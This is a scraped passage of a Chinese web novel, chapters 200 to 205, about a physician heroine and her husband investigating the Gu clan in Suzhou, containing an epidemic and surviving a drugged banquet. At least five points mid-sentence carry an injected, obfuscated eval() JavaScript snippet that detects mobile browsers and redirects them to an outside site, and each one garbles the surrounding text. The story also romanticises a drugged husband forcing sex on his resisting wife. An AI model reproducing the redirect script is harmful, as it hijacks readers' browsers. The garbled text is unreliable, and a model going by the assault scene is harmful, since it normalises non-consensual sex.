柳文渊嘴唇哆嗦着:“我…我不知道…我只是个传话的…他们抓了我的妻儿…” “哦?”杜仁绍冷笑,“用你家人的命,换你来自投罗网?这交易听起来可不怎么样。你**,你的妻儿就能活?” 柳文渊浑身一颤,说不出话。 李梵娘缓缓开口,“柳编修,你曾是翰林清流,读圣贤书,当知是非曲直。” “与鬼谷门合作,散播瘟疫,祸害百姓,此乃滔天大罪,足以株连九族。” “你此刻坦白,说出幕后主使,助朝廷铲除奸佞,或可戴罪立功,保全家人,甚至为自己争得一线生机。若冥顽不灵…” 她顿了顿,“即便我们找不到你的妻儿,你以为,那些心狠手辣的主使,会留下活口吗?” 攻心为上。李梵娘的话,句句戳中柳文渊的软肋和恐惧。 他挣扎了许久,终于崩溃大哭。 “我说…我说…是…是顾家!江南织造顾弘济!还有…还有谢家的谢昆…王家的王允之…他们…他们是云山亭在江南的几位主要话事人!” “但我真的不知道总舵主是谁…他们层级很高,我接触不到…” 顾家谢家王家,是江南那几家百年世族。 他们掌控着江南大半的丝绸、茶叶、盐业,富可敌国,门生故吏遍布朝野。 “他们为何要这么做?”杜仁绍逼问。 “…前朝时,他们家都是皇商,权势熏天。本朝立国后,虽依旧富贵,却失了特权,处处受朝廷监管制约…” “他们不甘心…想恢复祖上的荣耀,甚至…甚至更进一步…”柳文渊断断续续的说着。 “与鬼谷门合作,是想借助他们的邪术,制造天灾人祸,让朝廷疲于应付,消耗国力,他们便可趁机攫取更多权力,甚至…甚至…” 甚至什么不用都猜到了。 “这次约见,是谁的主意?” “是…是顾弘济的长子顾兆安的主意…他本想拉拢国公爷,若拉拢不成,便…便擒下您,作为与朝廷谈判的筹码…” “名单呢?”李梵娘问。 柳文渊颤巍巍地指了一下自己被搜身的物品中的一枚玉佩,“…名单…藏在玉佩夹层里…” 王猛立刻取来玉佩,打开后里面果然卷着一个纸条,上面写着几十个名字 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李梵娘眼睛一亮:“仁绍,或许我们可以借口…医学交流?或者说我发现了一种罕见的江南特有药材,需要亲自去采集研究?” “第一站,就去苏州,而顾家的沁芳园,正好以奇花异草闻名…” 杜仁绍闻言,嘴角勾起一丝冷笑,“好主意,医学交流,采集药草,合情合理,我看他顾家怎么拒绝!” 计划已定,但行动需要充足的准备。 杜仁绍需要调动可靠人手,安排好路线与皇帝商量最终方案。 李梵娘也需要安排一下教**局的事情,还有准备南下所需的“药材研究”资料和器材。 一连数日,两人都忙得脚不沾地。 这日晚饭时间,杜仁绍才从宫中回来,眉宇间带着疲惫。 李梵娘替他盛了碗汤,轻声问:“陛下准了?” “准了。”杜仁绍点头,“陛下已经秘密吩咐江南大营暗中配合,皇城司的一些人也会分批潜入江南。” “但我们明面上的队伍不能太大,以免打草惊蛇。对外只宣称你南下采集药草,我不放心,带一队护卫陪同。” 第二百零一章 江南疫 “春儿和玉萝…”李梵娘有些犹豫。这次行动很危险,她不想带孩子们去冒险。 “让她们留在京城,让张大娘和周院正照顾。”杜仁绍道,“京城相对安全,陛下也会看顾些。” 正说着,春儿和玉萝手拉手跑了进来。 春儿扑到李梵娘怀里,仰着小脸问:“娘亲,爹爹,你们是不是又要出远门了?这次要去好久吗?” 玉萝虽然没说话,但眼里满是关切和不舍。 李梵娘和杜仁绍对视一眼,心里都有些发酸。 他们总是很忙,陪伴孩子的时间太少了。 杜仁绍抱起春儿,放在自己膝上,尽量用轻松的语气说着,“是啊,娘亲要去江南找一些很特别的草药,可以用来治很多病。爹爹不放心,陪娘亲一起去。很快就回来。” “江南好玩吗?”春儿眨着眼睛。 “听说有很多好吃的好玩的,还有漂亮的园林。”李梵娘笑着摸摸她的头。 “等春儿再大一点,爹娘一定带你和玉萝姐姐一起去,好不好?” “好!”春儿用力点头,但脸上还是有点失落。 玉萝乖巧的看着李梵娘,“师父师公,你们放心去吧。我会照顾好春儿妹妹,也会帮周院正打理好教**局的事情。” 看着如此懂事的弟子和女儿,李梵娘心中既欣慰又愧疚。 她将两个孩子揽入怀中,温声道:“等这次回来,我一定好好陪你们,带你们去温泉庄子住上一段日子,好不好?” “真的吗?”春儿眼睛亮了起来。 “真的,拉钩。”李梵娘伸出小指。 安抚好孩子,待她们睡下后,李梵娘和杜仁绍回到书房,继续商议南下细节。 “顾家那边,一旦我们到了苏州,他们必然会高度警惕。”杜仁绍铺开江南地图,“硬闯沁芳园肯定不行。得找个合适的时机和借口…” “或许可以从顾家的人身上下手。”李梵娘沉吟片刻。 “顾家主要人物我们动不了,但旁支或者负责打理沁芳园的管事、花匠…总有机会接触…” “嗯。”杜仁绍表示同意,“这件事让沈追的先去摸排。我们去那里之前,必须拿到沁芳园的详细布局和人员情况。” 李梵娘看着杜仁绍紧锁的眉头,伸手替他揉着太阳穴。 “别太逼自己。船到桥头自然直。我们见招拆招就是了。” 杜仁绍握住她的手,叹了口气:“我只是觉得…对不住你和孩子。总是让你们担惊受怕。” “又说傻话。”李梵娘靠在他肩头,“我们是一家人,自然要共同面对。你想给春儿、给这天下一个太平盛世,我陪你。” “你想查清阴谋,肃清奸佞,我也陪你。只要我们一起就不怕。” 杜仁绍心中一暖,紧紧搂住她,“得妻如此,夫复何求。” 数日后,一切准备就绪,队伍也已经安排好了。 明面上,是李梵娘带弟子南下采集药材,镇国公爱妻心切,率一小队护卫陪同。 暗地里,皇城司的密探和江南大营的人已经先一步撒了出去。 出发前夜,李梵娘特意下厨做了一桌家常菜。 一家人坐在一起吃饭。 春儿似乎感觉到什么,格外黏人,一直抱着李梵娘不撒手。 玉萝则默默地将准备好的各种常用药、解毒丹分装好,塞进李梵娘的行囊。 翌日清晨,城门刚开车队便出发了。 春儿和玉萝站在府门口,用力挥着手,直到马车消失在长街尽头。 马车里,李梵娘叹了口气。 杜仁绍握住她的手,“放心,周院正和张大娘会照顾好她们。我们尽快办完事就回来。” “嗯。”李梵娘点头,目光望向南方。 “江南……究竟藏着什么魑魅魍魉。” 车队一路向南走,沿途官员接待,一切看着都很顺利。 然而就在即将进入苏州地界时,前面的官道却被黑压压的百姓堵住了。 官道被人群堵死,粗略看去,至少有数百人,男女老少皆有,个个面黄肌瘦,衣衫褴褛,许多人脸上、手上还带着明显的红斑或水泡。 他们情绪激动,哭喊声咒骂声哀求声混杂在一起。 “瘟病又来了!官府不管我们了!” “放 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16432402|182915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我们进去!我们要看病!” “救命啊!孩子快不行了!” “狗官!你们不得好死!” 人群试图冲开苏州府这边设的关卡,守卡的兵丁和差役用**和盾牌死死抵住,谁也不让谁。 “怎么回事?!”杜仁绍勒住马缰,示意王猛上前问问怎么回事。 王猛带人挤开人群,找到看着像头目的差官。 那差官满头大汗,看到王猛等人的气势和装束,不敢怠慢,苦着脸和他们解释。 “各位爷是从北边来的吧?快别往前走了,府城周边好几个村子闹时疫,**好些人了。” “知府大人下令封了路,不许流民进城,怕传染开啊,可这些人不听,天天来闹。” 又是疫病? 李梵娘的心猛地一沉。 而且官府的处理方式这么简单粗暴,只怕会激化矛盾加速疫情扩散。 她立刻对杜仁绍道,“必须立刻控制住疫病,这些人挤在一起,一旦真是传染性疾病,后果不堪设想,我去看看。” 杜仁绍点头,对王猛吩咐,“亮出身份接管关卡,所有兵丁差役,听夫人调遣。” 王猛立刻掏出令牌,对那差官喝道:“镇国公与护国医仙娘娘在此,所有人听令!” 差官和周围的差役先是一愣,随即像是抓住了救命稻草一样,立刻跪倒在地。 “参见国公爷,参见医仙娘娘,娘娘救命啊!” 拥堵的流民们也听到了,瞬间安静了一下,随即爆发出更大的哭嚎和哀求。 “医仙娘娘!是京城的医仙娘娘来了!娘娘救救我们吧!” 李梵娘跳下马车,快步走到关卡前。 “乡亲们,安静听我说,我是医生,我就是来救人的,但你们这样挤在一起,只会让病传得更快,死更多人!想活命的,现在就听我安排!” 她的声音清亮,带着安抚人心的力量。 混乱的人群渐渐安静下来,无数双绝望的眼睛盯在她身上。 “所有出现发热、呕吐、腹泻、身上起疹子的人,立刻到左边空地集中!家人分开!没有症状的人,到右边!快!” 第二百零二章 试探 “系统,扫描人群,顺便换些消毒剂和抗生素上面的基础药,隔离帐篷。” 【宿主啊,这是霍乱和甲型肝炎的混合病毒,东西都给你放到药材车上了。】 【建议把水啊、粑粑啊都让他们处理一下,顺便给他们打个针。】 在李梵娘的指挥下,混乱的人群开始被有序分流。 症状明显的被隔到一片临时划出的地方,李梵娘带着医工开始诊治,发放药物。 症状轻微的或者没被感染的,则安排在另一片地方,搭建临时窝棚,分发食物和清水。 李梵娘检查重症患者,指导医工进行静脉输液,同时还问了疫情源头。 很快就查清楚了,疫情最初爆发于苏州城外的几个村落,源头很可能是被污染的河水。 疫情爆发后,当地里正上报,苏州知府怕影响政绩和即将到来的什么百花盛会,压下不报,只是偷偷将发病的村子封锁了事。 结果疫情控制不住,村民逃出来了,就成了现在的局面。 “混账东西!”杜仁绍闻言气急。 “为一己私利,竟敢****,置万千百姓性命于不顾。” “王猛,立刻拿着我的令牌去苏州府衙,把那糊涂知府给我拿下看管起来,等候朝廷发落!” “是!”王猛带着一队人杀气腾腾地直奔苏州城。 李梵娘则继续全力解决病人。 病情很快被控制住。 隔离区秩序井然,病人得到了有效救治,死亡人数迅速下降。 “医仙娘娘活菩萨啊!” “谢谢娘娘救命之恩!” 百姓们纷纷跪拜李梵娘,救命之恩胜过天。 看着逐渐稳定下来的局面,李梵娘和杜仁绍却心情沉重。 发病是偶然,可以理解。 但官府的态度暴露了江南官场的问题,这个知府也是他们的人? 经过三天的紧急处置,情况终于得到了有效控制。 大部分轻症患者康复,重症患者也转危为安。 李梵娘将后续的消毒和监测工作交给当地招募来的医者和衙役。 苏州知府被革职查办,消息传开,百姓拍手称快,但也让苏州官场乃至整个江南官场为之震动。 谁都知道,镇国公和医仙娘娘怕是来者不善。 就在杜仁绍和李梵娘准备进入苏州城,开始下一步计划时,一队衣着光鲜的仆从来到了他们的临时驻地。 为首一名管家模样的中年人,递上了一份泥金请柬。 “小人奉苏州织造顾弘济顾大人之命,特来拜见国公爷、医仙娘娘。” “我家大人听说娘娘来苏州还救治百姓,功德无量,敬佩不已。” “恰逢府中百花盛会在明日,特设薄宴,请国公爷与娘娘赏光,一来为您二位接风洗尘,二则苏州各界贤人久仰娘娘风采,早就盼望一见。” 杜仁绍和李梵娘对视一眼,心照不宣。 杜仁绍接过请柬,“顾大人有心了。” “旅途劳顿,本来想休整几天,但是顾大人盛情邀请,明天一定赴宴。” 管家大喜,“多谢国公爷、娘娘赏光!小人这就回府禀报!告辞!” 送走顾家的人,杜仁绍冷笑:“百花盛会?接风洗尘?我看是鸿门宴才对!” 李梵娘翻开请柬,看着上面的花纹和措辞。 “顾家这是想摸我们的底,也想向江南各界展示他们能请动我们,抬高自家身份。” “甚至…可能想在宴会上做点什么文章。” “正好!”杜仁绍眼中精光一闪,“我们正愁没机会近距离接触顾家的人和他的‘沁芳园’呢,这下省了我们不少事。” 李梵娘点头:“嗯。但需做好万全准备。” “系统,明天你全程扫描我们吃喝的东西,还有接触的人。” 【宿主大大放心,宴会扫描套餐准备就绪,保证连他们身上用的什么胭脂水粉都给你分析出来。】 翌日傍晚,杜仁绍和李梵娘乘马车来到位于苏州城外的顾家别院沁芳园。 一下马车,便被眼前的奢华象震撼到。 园门开阔,灯火通明,宾客如云,车水马龙。 园内花草争奇斗艳,香气馥郁,小桥流水,显示着江南园林的富丽堂皇。 顾弘济亲自带着一众家眷和苏州本地的有头有脸的人物在门口迎候 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16440139|182915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,给足了面子。 “镇国公大驾光临,医仙娘娘屈尊降贵,真令寒舍蓬荜生辉啊!” 顾弘济年约五十,面容富态,一身绸缎常服显得十分儒雅随和,丝毫看不出是包藏祸心的人。 “顾大人客气了。”杜仁绍淡淡回礼,李梵娘也微微颔首。 双方寒暄着,走进了园里。 一路上,顾弘济介绍着园中景致和名贵花木,言语间透着自豪。 李梵娘则看似随意观赏,实则暗中让系统记录下所有路线和布局。 【宿主,注意右前面那片紫竹林,地下是空的,还有左边那假山群,也有古怪。】 宴会设在一处临水的大厅,丝竹管弦,轻歌曼舞,觥筹交错,一派歌舞升平。 来宾皆是苏州乃至江南有头有脸的人物,官员、富商、名士… 见到杜仁绍和李梵娘,纷纷上前敬酒搭话,态度带着试探。 李梵娘保持着得体的微笑,应付着各方来客。 顾弘济则一直陪着杜仁绍,频频劝酒。 酒过三巡,杜仁绍感觉有些燥热,以为是酒劲上头,并没有在意。 但很快,这股燥热变得汹涌起来,体内像是有一把火在烧,视线也开始有些模糊,呼吸加重。 【我的宿主大大啊,你男人杯里的酒被下了**物,还混了曼陀罗,除了激发情欲还能影响神智。】 李梵娘猛地看向杜仁绍,果然见他脸色潮红,眼神迷离。 她立刻看向顾弘济,只见他嘴角噙着冷笑。 “仁绍!”李梵娘低声呼唤,想去扶他。 就在这时,顾弘济笑了一下,“国公爷怕是有些醉了,来人,快扶国公爷去厢房歇息片刻!” 两名娇俏的侍女立刻上前,伸手就要搀扶杜仁绍。 杜仁绍虽意识模糊,但本能地抗拒陌生人的触碰,一把挥开她们。 “…不必…我…” 这时,一个容貌美艳、身段婀娜的年轻女子款款走来,声音柔媚:“爹爹,还是让女儿来照顾国公爷吧。” 正是顾弘济的嫡长女,顾倩如。 她看向杜仁绍的目光,带着毫不掩饰的野心和倾慕。 第二百零三章 解毒 顾弘济笑道:“也好,倩如,你细心,定要照顾好国公爷。” 顾倩如上前,伸手就要搭上杜仁绍的胳膊,声音带着诱惑。 “国公爷,让倩如扶您去吧…倩如仰慕您已久,绝不比您府上那位医仙差呢…” 李梵娘气得浑身发抖,正要发作,却被几个突然围上来的贵妇“热情”地拉住说话,一时脱不开身。 她眼睁睁看着顾倩如几乎将身子贴在了杜仁绍身上,要将他扶走。 就在这千钧一发之际。 “滚开!” 是王猛。 他一直奉命在厅外警戒,察觉到杜仁绍状态不对,立刻冲了进来,一把推开顾倩如,扶住杜仁绍。 顾倩如被推得一个踉跄。 顾弘济脸色也瞬间难看。 王猛根本不看他们,对李梵娘急吼吼的说,“夫人!国公爷情况不对!” 李梵娘甩开那些贵妇,冲到杜仁绍身边,一看他的状态,心知那药性极烈。 必须立刻解毒。 “顾大人!”李梵娘声音冰冷,“今日之事,我记下了!告辞!” 说完,她和王猛一左一右,扶着几乎失去意识的杜仁绍,快步向外走去。 留下众人面面相觑,却无人敢再阻拦。 马车以最快的速度赶回他们下榻的客栈。 一路上,杜仁绍的情况越来越糟。 他浑身滚烫,意识模糊,口中无意识地呓语着李梵娘的名字,身体不受控制地往她身上蹭,用力攥着她的手腕,力道大得吓人。 李梵娘又急又心疼,努力安抚他,“系统!解毒剂!快!” 【宿主,咱没办过这业务啊,你等等,我得配制一下,宿主你先控制好你男人。】 系统也有些焦急。 它是个医道系统啊,啥时候接过这任务。 好不容易回到客栈房间,王猛帮忙将杜仁绍放到床上,便识趣地退了出去,关上房门守在门外。 杜仁绍一沾床,便将李梵娘拉在怀里,滚烫的唇胡乱地在她颈间啃吻,呼吸粗重,失去了往日的冷静自持。 “梵娘…梵娘…我好难受…”他声音沙哑,带着渴望。 “我知道…我知道…再忍一下,药马上就好了…”李梵娘心疼地摸着他汗湿的额头和鬓角,想去拿药。 然而此时的杜仁绍力大无穷,一个翻身便将她牢牢压在身下,紧紧盯着她,仿佛要把她吃了。 那强烈的药性已经冲垮了他的理智,只剩下原始的本能。 “仁绍!你清醒一点!让我去拿解药!”李梵娘用力推着他。 但她的挣扎似乎更刺激到了杜仁绍。 他一把撕开了她的衣服,炽热的吻落下,带着强势和霸道。 “系统!药好了没有!”李梵娘有些着急。 【马上就好!再坚持十秒!九…】 李梵娘闷哼一声,所有的话都被堵在了喉咙里。 【…三…二…一!好了!宿主!药…】 箭已离弦,覆水难收。 不知过了多久,窗外已经有了些许晨光。 他终于沉沉睡去。 李梵娘浑身酸痛得像散了架,雪白的肌肤上布满了青紫和指印,腰酸得仿佛不属于自己。 她看着身边睡着也眉头微蹙的丈夫,又心疼又气,还 有一丝羞赧。 她强撑着爬起来,清理了彼此,又找出系统换的活血化瘀膏抹在身上。 做完这一切,她重新躺下,很快也沉沉睡去。 日上三竿,杜仁绍才醒来。 头痛和身体的疲惫感袭来,昨晚零碎的记忆也逐渐回笼… 当他看到身边仍在熟睡的李梵娘,看到她颈间、肩头那些暧昧恐怖的痕迹,还有她即使睡着也微蹙的眉头时,整个人如遭雷击。 瞬间清醒了。 他…他昨晚都做了些什么? 他竟然…竟然如此粗暴地对待了她? 愧疚和心疼瞬间淹没了他。 他小心翼翼地伸出手,想要抚摸她的脸,却又不敢落下。 李梵娘被他的动作惊醒,睁开眼就对上了杜仁绍布满血丝,满是懊悔和不安的眼睛。 “梵…梵娘…”杜仁绍的声音哑得厉害,带着慌乱。 “我…我对不起…我昨晚…我…” 他恨不得给自己两拳。 李梵娘看着他这副样子,心里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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第二百零四章 钥匙 沈追那嗓子喊得急,屋里俩人刚那点温存劲儿立马给搅和没了。 杜仁绍眉头一拧,下意识先把李梵娘用被子裹严实了,这才沉声应道:“让他前厅候着!” 门外脚步声远了。 杜仁绍这才扭回头,瞅着怀里的人。 李梵娘脸还泛着点红。 她试着动了一下,立刻“嘶”地抽了口凉气,眉头皱得紧紧的。 “慢点儿慢点儿…”杜仁绍赶紧扶住她,那手忙脚乱的样子,哪还有半点战场上杀伐决断的威风,活像个毛头小子。 “还疼得厉害?我再给你揉揉?” 李梵娘没好气地白他一眼,声音还有点哑:“揉什么揉,再揉今天就别想下床了…都是你干的好事!” 杜仁绍理亏,讪讪地不敢还嘴,小心翼翼地帮她披上外衣,动作轻得不能再轻。 看她咬着牙慢慢挪下床,腿软得差点没站稳,他心都揪起来了,恨不得抽自己两嘴巴子。 “要不…你歇着,我去见刘副将?”他试探着问。 李梵娘瞪他:“我能歇得住吗?顾家的事儿要紧…哎哟…” 一动弹,腰就跟断了似的。 最后几乎是半抱着把人搀到前厅的。 王猛和沈追几个早就候着了,一看他俩这造型,国公爷一脸心虚,夫人走路都不利索,个个都是人精,立马就猜了个**不离十。 王猛那嘴角抽动了一下,赶紧低下头憋笑。 沈追也战术性咳嗽两声,眼神飘向别处。 杜仁绍脸一黑,重重咳了一声。 底下人立刻眼观鼻鼻观心,假装啥也没看见。 刘副将是个粗豪汉子,没那么多弯弯绕,抱拳行礼:“末将参见国公爷,夫人!” “刘将军不必多礼,发现何物?”杜仁绍摆摆手,示意他快说。 刘副将从怀里掏出个东西,用布包着,小心翼翼地放在桌上。 “回国公爷,夫人。末将今早带人清理隔离区最后那点杂物,看见几个娃儿在玩这个,抢来抢去的。” “末将瞧着这东西不像寻常孩子玩的,材质古怪,上面还刻着些弯弯绕绕的线,就赶紧给您送来了。” 布包打开,里面是块巴掌大的黑色物件,非金非玉,触手冰凉,边缘有些磨损,看得出有些年头了。 上面刻着的图案确实古怪,像是扭曲的地图,又像是某种符文。 李梵娘忍着腰酸,凑近了仔细看。 杜仁绍也仔细打量着。 “系统,”李梵娘在心里默念,“扫描这东西。” 【来了,特殊陨铁,嗯…这图案…像是个钥匙啊!或者说是某种密锁的触发机关的一部分?】 【带有自毁装置,强行破坏可能会触发。】 李梵娘心中一动,问刘副将:“刘将军,那几个孩子可说这是从哪儿得来的?” 刘副将挠挠头:“问了,娃娃们说是前几天在顾家别院后墙外头的河里摸鱼捞上来的,看着亮晶晶的好玩就捡了。” “末将想着夫人一直在查顾家,这东西又古怪,就赶紧送来了。” 顾家别院后墙外的河里…捡的… 李梵娘和杜仁绍对视一眼,都看到了对方眼中的意思。 这玩意儿,八成是顾家什么要紧东西,不小心失落,或者…是被人偷偷扔出来的? “刘将军,你立了大功了!”杜仁绍拍拍刘副将的肩膀。 “另外,还得劳烦你带人去那河里再仔细摸摸看看,还有没有其他类似的东西,或者…有没有什么不寻常的痕迹。” “是!末将这就去!”刘副将见自己帮上了忙,高兴的领命而去。 等人走了,李梵娘拿起来反复端详。 “系统,能看看是开什么的吗?或者其他线索?” 【这……没办法】 【得靠近沁芳园我才能扫描。】 “需要靠近沁芳园才行…”李梵娘沉吟道,“顾家经过昨晚,必定戒备森严…” 杜仁绍冷哼一声:“戒备再严也得查,既然有了线索就不能放过。” “你先好好歇着,我让沈追他们先去沁芳园外围先探一探。” 李梵娘点点头,她现在这状态确实不适合立刻行动。 她刚想站起身,又是一阵腰酸腿软,差点没站稳。 杜仁绍手疾眼快地扶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16440141|182915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 住,心疼得不行:“你看你…就别硬撑了。” “王猛,去吩咐厨房熬点滋补的汤水来。” “沈追,带人去沁芳园外边转转,小心点,别打草惊蛇。” “是!” 王猛和沈追两人退下去的时候,王猛还偷偷冲杜仁绍挤挤眼,那意思大概是“爷您可算知道心疼人了”,被杜仁绍一瞪眼给吓跑了。 屋里又剩下两人。 杜仁绍扶着李梵娘慢慢往回走,看她一步一蹙眉的样子,忍不住低声道:“真…真那么疼?” 李梵娘斜睨他,眼波流转,带着点嗔怪:“你说呢?跟头不知轻重的蛮牛似的…” 杜仁绍被她这一眼看得心头一荡,赶紧压下那点不合时宜的旖旎心思,老老实实认错:“我的错,我的错…下次绝不会了…” “还有下次?”李梵娘挑眉。 “没有!绝对没有!” 杜仁绍赶紧保证,扶着人更小心了,心里把那顾家骂了个千百遍。 李梵娘被勒令在客栈休息了一天。 杜仁绍几乎是寸步不离地守着,端茶送水,揉腰捶腿。 虽然手法挺笨的,但确实舒服。 直到第二天,李梵娘觉得身上那股散了架的酸痛劲儿总算缓过来一些。 虽然腰还是有点不得劲,但至少能正常走路了。 她立刻催杜仁绍开始行动。 沈追那边也有了消息。 他带着人伪装成货郎、樵夫,绕着沁芳园外围转悠了好几圈,带着系统给的检测仪。 确实捕捉到了一些和那东西相似的能量,但信号都很弱,无法定位。 “看来,关键还是得进去才行。”李梵娘叹了口气。 “顾家经过上次,内部肯定更加警惕,硬闯不行,得想个由头。” 杜仁绍沉吟片刻,“由头?现成的就有。” “他顾家敢给我下药,这笔账我还没跟他算呢!正好上门去‘兴师问罪’!” 这理由确实谁也挑不出错来。 于是,当天下午,镇国公夫妇的车驾再次出现在了沁芳园门口。 只是这次是来兴师问罪的。 第二百零五章 阻拦 顾弘济显然早就收到了消息,带人在门口迎接,脸上堆满了笑。“国公爷,夫**驾光临,有失远迎…” “昨日之事,实在是误会,下官已重重责罚了小女…” “误会?”杜仁绍冷哼一声,看都不看他,径直往里走。 “顾大人,你那杯酒,可是让本公‘印象深刻’啊!今日特来讨个说法!” 顾弘济冷汗都下来了,一边跟着一边赔罪:“是是是,下官治家不严,罪该万死!” “都是那逆女被她娘惯坏了,一时糊涂,竟做出如此胆大包天之事…下官定当重重惩治,还请国公爷、夫人息怒…” 李梵娘在一旁冷眼旁观,心里跟明镜儿似的。 这顾弘济,推卸责任倒是一把好手,全往女儿身上推。 一行人气氛压抑地再次走进沁芳园。 李梵娘看似随意地打量着园中景致,实则暗中让系统全力扫描。 【嗯?宿主,往左边那片竹林走。】 李梵娘便故意放缓脚步,落在别人眼里就是一副被路边的奇花异草吸引,慢慢朝着竹林方向踱去的模样。 杜仁绍会意,继续板着脸训斥顾弘济,吸引他的注意力,“顾大人,本公在京城就听闻江南世家规矩大,没想到竟是这般规矩?” “给朝廷钦差下药,试图攀附,这就是你顾家的家风?!” 顾弘济被骂得头都抬不起来,连连作揖:“国公爷息怒!息怒!下官万万不敢啊!此事纯属意外,意外…” 李梵娘趁机走进了竹林。 【哎对对对,就在前面,那几块造型奇怪的假山石附近。】 【我去!还有…生命迹象?不止一个!在地下!】 李梵娘心中一震,仔细打量那几块假山石。 它们的位置看似随意,但仔细看,除了位置有些诡异,那些石质明显与其他石头不同,更接近那“钥匙”的质感。 她假装俯身欣赏长在石边的兰花,手指拂过假山石的表面。 【确认了,宿主大大,下面有个贼大的地下空间,入口应该就在这附近,机关控制的。】 就在这时,一个顾家的管事匆匆走来,“夫人,这边竹林潮湿,怕冲撞了您,还请随小的回厅中用茶吧。” 显然她偏离路线,引起了顾家的警觉。 李梵娘面色不变,直起身,“这株兰花倒是别致,罢了,走吧。” 她跟着管事往回走,心里却是波涛汹涌。 顾家的秘密……找到了呢。 应该就是那片竹林底下。 回到众人身边,杜仁绍瞥了她一眼,李梵娘眼神示意。 他也不再跟顾弘济多废话。 “顾大人,本公今日来,不是听你解释的,此事本公自会奏明圣上,由圣裁断!你好自为之!” 说完,拂袖而去。 李梵娘也跟着离开,留下面如死灰的顾弘济站在原地。 回到马车上,车门一关,李梵娘立刻抓住杜仁绍的手,声音里是难掩的激动。 “找到了,在竹林那几块假山石下面,有地下室,入口肯定有机关,那黑钥匙八成就是。” 杜仁绍反握住她的手,“好!总算揪住他们的狐狸尾巴了!今晚就行动!” “今晚?”李梵娘一愣,“会不会太急了?那边肯定加强了守卫…” “就要打他个措手不及!” “顾家以为我们还在为下药的事生气,暂时不会动真格的。” “他们绝对想不到我们这么快就找到了地方,趁他们还没反应过来,连夜动手,撬开他的乌龟壳!” 他立刻对车外的王猛沈追下令:“立刻回去准备,带齐家伙,今晚子时夜探沁芳园!” “是!”脚步声远去。 马车里一时间安静下来,只剩下车轮碾过青石路的声音。 杜仁绍深吸一口气,这才转过身,看向身边的李梵娘。 眼里只剩下浓得化不开的担忧和手足无措。 他张了张嘴,话在喉咙里滚了几圈才挤出来:“…那个…还疼得厉害不?” 李梵娘正想着晚上的行动计划和可能遇到的机关毒物,被他这没头没脑的一句问得一愣,抬眼看他:“什么?” 杜仁绍视线有点飘,不太敢直视她,手指蜷缩了一下,声音更低了,“…腰…还有身上…我昨晚…” 他越说声音越小,后面几个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16444690|182915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 字几乎含在嘴里,耳根子也红了。 李梵娘反应过来,脸“轰”地一下也跟着烧了起来。 这人都什么时候了! 脑子里想的都是什么! 她没好气地瞪他一眼,声音从牙缝里挤出来:“你说呢?” 杜仁绍被她瞪得缩了一下,像个做错事的大狗,下意识就想伸手去碰碰她,又怕弄疼她,手伸到一半僵在半空。 他语气更慌了,“那…那晚上你别去了,就在客栈歇着,你把那机关大概在哪,什么样儿,怎么弄,告诉我,我带人去!” 李梵娘简直要被他气笑:“告诉你?” “告诉你你认得那些毒物机关吗?告诉你你知道怎么避开那些要命的陷阱吗?告诉你你分得清哪瓶是解药哪瓶是见血封喉吗?” “杜大将军,你是能打,可这不是打仗!” 杜仁绍被她噎得说不出话,眉头拧得死紧,嘴唇抿成一条线。 他知道她说得对,离了她,他们那群大老粗闯那种地方,跟瞎子摸象没区别,死都不知道**的。 可一想到她身上那青青紫紫的痕迹,想到她刚才下床时那龇牙咧嘴腿软打颤的样子。 他心里就跟刀绞似的,哪舍得再让她去冒险奔波? “可是你…”他声音闷闷的,带着心疼,“你这样子怎么撑得住?那密室里还指不定有什么…” “我没事!”李梵娘打断他。 